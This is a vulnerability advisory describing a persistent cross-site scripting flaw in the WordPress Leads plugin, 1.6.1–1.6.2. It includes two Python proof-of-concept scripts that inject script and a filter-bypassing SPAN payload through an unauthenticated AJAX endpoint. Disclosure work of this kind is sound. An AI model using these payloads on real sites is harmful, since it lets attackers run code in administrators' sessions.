WordPress Leads 1.6.1-1.6.2, Persistent XSS

The WordPress Leads plugin exposes a number of functions via AJAX to Anonymous users via the ‘nopriv_’ prefix. One of these functions that is registered in ‘leads/shared/classes/class.lead-storage.php’ controls the insertion of leads into the database. A number of fields accepted as POST parameters (since they are merged into the $args array) can be manipulated to include arbitrary content, such as HTML or Java Script. This content is then output to users with access to the Leads section of the WordPress Administrator (wp-admin/edit.php?post_type=wp-lead), in addition to the WordPress Admin home page by default (due to widgets being output). This would result in malicious code being executed under the context of the current user, with the possibility of modifying WordPress settings, or users, to facilitate escalation of access.

Homepage

https://wordpress.org/plugins/leads/

CVSS Score

5

CSSS Vector

(AV:N/AC:L/Au:N/C:N/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 1.6.3.

Proof of Concept

The following PoC will result in an alert box being displayed to users who view the list of Leads in the WordPress Administrator

import requests

target="http://localhost/wp-admin/admin-ajax.php"
payload = {
        "action":"inbound_lead_store",
        "email":"@",
        "first_name":"<script>alert(1)</script>"
}
r = requests.post(target, data=payload)

Version 1.6.2 implements some rudimentary filtering on user input, however it is possible to craft a SPAN element to subvert this protection, as demonstrated in this updated PoC.

import requests

target="http://localhost/wp-admin/admin-ajax.php"
payload = {
        "action":"inbound_lead_store",
        "email":"@",
        "first_name":"<span onMouseEnter=alert(1) style='left:0;top:0;right:0;bottom:0;position:absolute;'></span>"
}
r = requests.post(target, data=payload)

Timeline

  • 2015-03-19: Discovered
  • 2015-03-19: Vendor notified
  • 2015-03-19: Vendor responded – link to report provided
  • 2015-03-20: Version 1.6.2 released – issue still present, PoC updated
  • 2015-03-24: Version 1.6.3 released – issue resolved
  • 2015-03-31: Advisory released